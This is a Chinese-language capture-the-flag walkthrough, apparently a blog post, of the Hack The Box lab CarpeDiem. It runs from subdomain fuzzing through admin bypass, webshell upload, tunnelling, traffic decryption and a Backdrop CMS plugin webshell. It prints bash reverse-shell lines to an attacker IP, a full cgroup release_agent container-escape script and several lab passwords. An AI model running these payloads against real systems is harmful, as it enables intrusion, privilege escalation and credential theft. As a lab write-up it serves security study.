通过nmap对靶机端口进行探测,发现存在22和80端口。
访问web页面。发现是一个静态页面,没有可利用的部分。
通过对域名进行fuzz子域名,发现存在portal一级域名。
将它加入/etc/hosts,访问之后,是一个页面。
发现一个登录框,并且注册了一个用户。
剩下的就是一些它的基本功能模块。
此时看到一个 PHP 页面,该页面要么包括基于 的页面p,要么基于它的分支。我会尝试设置p为index看看会发生什么。页面已经崩溃。
接着对新域名进行目录爆破。
发现访问/admin目录是没有权限的。
基于上面的分析,我已经非常确信该index.php页面正在调用类似include $_GET['p'] . '.php'. 因为它附加了扩展名,所以我无法尝试读取不是 PHP 的文件。
在报错页面中发现,“管理人员会在看到您的确认请求后立即与您联系”这句话。这表明管理层将查看我的提交,这表明可能存在跨站点脚本攻击。看看当我提交请求时会发生什么,它实际上发出了两个 POST 请求/classes/Master.php:
在查看与帐户交互的请求中,发现一个数据包中,会把创建帐户的 POST 转到/classes/Master.php?f=register。
它包括表单上的所有可见字段,以及id和login_type。这些来自hidden字段,可以在 HTML 源代码中看到:
通过修改用户id为2,成功绕过前端验证,获取到/admin访问权限。
接下来我将尝试将login_type更改为其他值。将其设置为 1 时,它会返回成功:
绕过前端验证之后,进入admin页面。
接着去看它的功能模块。
发现一个表单,可以进行文件上传。
但是空白action表示它将提交到当前 URL,即/admin/?page=maintenance/helpdesk. 我可以手动重新创建此表单提交,但我提交的任何内容似乎与此页面没有任何不同。
找了一些关于表单上传的资料,
https://stackoverflow.com/questions/8659808/how-does-http-file-upload-work/8660740#8660740
在红色中,Content-Type标题将是multipart/form-data,然后它定义了boundary用于分隔各种参数的 。在标准 POST 中,这将是一个&,但对于表单,它允许每个项目同时具有元数据和数据,因此每个参数都由该字符串分隔。每个使用中的边界字符串都带有一个额外的前缀--,最后一个已--添加到末尾。
本例中的第一个参数(蓝色标签)只是一个表单值。第一行是元数据,;以 - 分隔,以 开头Content-Disposition: form-data,然后是一系列键值对。MAX_FILE_SIZE这里只有一个,name用于由服务器引用该项目。第二项具有文件上传的典型元数据,包括filename标题Content-Type。
构造表单文件,进行文件上传。
成功上传文件。
在上传文件之后,写入shell。
成功获取到shell。
使用curl命令去反弹shell到443端口。
使用nc监听443端口。
使用/stty 技巧升级 shell
接着进行配置文件查看
找到一个DBConnection.php,发现了数据库的连接密码和用户名。
<?php
if(!defined('DB_SERVER')){
require_once("../initialize.php");
}
class DBConnection{ private $host = 'mysql';
private $username = 'portaldb';
private $password = 'J5tnqsXpyzkK4XNt';
private $database = 'portal';
public $conn;
public function __construct(){ if (!isset($this->conn)) {
$this->conn = new mysqli($this->host, $this->username, $this->password, $this->database);
if (!$this->conn) {
echo 'Cannot connect to database server';
exit;
}
}
}
public function __destruct(){
$this->conn->close();
}
}
?>
使用time for枚举c段内的主机。
使用wget命令上传一个打包好的nmap,进行进行端口探测。
使用chisel搭建socks隧道,然后把流量代理出去。
./chisel_1.7.7_linux_amd64 client 10.10.17.140:8000 R:socks
接着配置proxychains,在本地使用代理。
通常在 Docker 中,.1 是主机。事实上,它与我在 CarpeDiem 的给定 IP 上看到的相匹配。
nmap显示此主机正在侦听 HTTP (80)、HTTPS (443) 和 FTP (21)。HTTP 站点只是重定向到 HTTPS。这是Backdrop CMS的一个实例
proxychains mongo 172.17.0.4
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
MongoDB shell version v3.6.8
connecting to: mongodb://172.17.0.4:27017/test
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.4:27017 ... OK
Implicit session: session { "id" : UUID("f87fa546-0593-42c5-b3a5-e6d1dff06a7f") }
MongoDB server version: 5.0.6
WARNING: shell and server versions do not match
Server has startup warnings:
{"t":{"$date":"2022-11-28T13:57:33.732+00:00"},"s":"I", "c":"STORAGE", "id":22297, "ctx":"initandlisten","msg":"Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem","tags":["startupWarnings"]}
{"t":{"$date":"2022-11-28T13:57:36.570+00:00"},"s":"W", "c":"CONTROL", "id":22120, "ctx":"initandlisten","msg":"Access control is not enabled for the database. Read and write access to data and configuration is unrestricted","tags":["startupWarnings"]}
>
172.17.0.5 在 8118 上开放。这是一个不寻常的端口。尝试它并nc没有显示太多,但它可以通过 HTTP 工作。这是一个 trudesk 登录表单:
我已经多次看到 trudesk 被提及,首先是在管理面板中,然后是在 MongoDB 中。trudesk是一个免费的票务管理系统。
我没有用于登录的用户名/密码。
找到了他的API文档。
通过抓包,然后请求/api/user,返回404
通过之前在主机里面获取到的APItoken,然后在burp里面构造accesstoken。
通过翻阅API文档,发现存在uid为1006的用户。
然后请求/api/vi/tickets/1006,获得大量信息。
使用grep进行筛选。
在其中发现了2022,和9650 、zoiper等关键信息。
通过Google下载这个电话软件。
安装之后,进行启动。
输入之前获得的那些关键信息。
成功进行登录。
通过语音提示,然后获取到了密码(AuRj4pxq9qPk)等信息。
接着使用ssh远程登录。
接着进行端口查看。
首先,跳过环回。eth0会得到流量,但可能也不是我在这里需要的。docker0将捕获 172.17.0.0/24 网络上的所有流量,使用开始tcpdump收集-i docker0,-s 65535捕获完整帧,and -w
trudesk 正在查询 mongo 的地方有一堆连接。然后有超过 443 个会话从主机到 CMS。似乎有两组,一些在 47 k 左右,另一些在 4 k 左右。
在这种情况下感兴趣的是密码套件,TLS_RSA_WITH_AES_256_CBC_SHA256. 谷歌搜索将显示多个站点报告为弱密码套件。
这里的问题是 RSA 不支持完美前向保密 (PFS):
PSF 允许攻击者获得私钥(网站的证书),并且由于加密的方式,他们仍然无法访问明文。如果没有 PFS,任何拥有证书的人都可以解密流量。
证书通常存储在/etc/ssl/certs. 私钥应该保存在只有 root 可以读取的地方。此目录中有大量文件:
POST /?q=user/login HTTP/1.1
Host: backdrop.carpediem.htb:8002
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Origin: https://backdrop.carpediem.htb:8002
Content-Type: application/x-www-form-urlencoded
Referer: https://backdrop.carpediem.htb:8002/?q=user/login
Accept-Language: en-US,en;q=0.9
Content-Length: 128name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+in
找到了另一个地址。backdrop.carpediem.htb:8002
和name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+in
搜索 Backdrop CMS 漏洞,出现了这个 repo 。它描述了一种攻击路径,使用跨站点请求伪造 (CSRF) 让管理员安装恶意插件,从而提供 webshell。我不需要 CSRF,因为我已经可以登录管理面板了。所以我只会使用插件。
我将从发布页面下载reference.tar并查看它:
然后进行文件上传。
发现一个上传功能,接着构造压缩包进行文件上传。
使用curl触发
curl -k https://localhost:8002/modules/reference/shell.php
成功获取到权限。
发现一个脚本,
该脚本是可用性检查:使用cat命令进行查看。
[email protected]:/opt$ cat heartbeat.sh
#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
#something went wrong. restoring from backup.
cp /root/index.php /var/www/html/backdrop/index.php
fi
[email protected]:/opt$
知道 root 每 30 秒执行一次此脚本,我没有修改权限heartbeat.sh。我也不能修改backdrop.sh,即使我可以,散列也会改变,脚本也无法通过该检查。
index.php归 www-data 所有,因此我可以编辑它:
❯ cat index.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");?>
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
使用netcat进行监听443端口
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.167
[email protected]:/var/www/html/backdrop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/var/www/html/backdrop# hostname -I
172.17.0.2
[email protected]:/var/www/html/backdrop#
我们可以利用这篇文章进行容器逃逸,获取root权限
https://betterprogramming.pub/escaping-docker-privileged-containers-a7ae7d17f5a1
由于机器没有 nano 或 vi,我们创建脚本并与服务器共享
❯ cat script.sh
mkdir /dev/shm/privesc
mount -t cgroup -o rdma cgroup /dev/shm/privesc
mkdir /dev/shm/privesc/x
echo 1 > /dev/shm/privesc/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /dev/shm/privesc/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'" >> /cmd
chmod a+x /cmd
bash -c "echo \$\$ > /dev/shm/privesc/x/cgroup.procs"❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
成功获取权限root权限
这个靶机为困难模式的靶机,靶机包含的知识和内容,以及靶机的复杂程度都是相当的大。靶机包含了逻辑漏洞、文件上传、6台域内主机,APi文档的调用,流量分析等知识点。感兴趣的小伙伴也可以试一试。
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏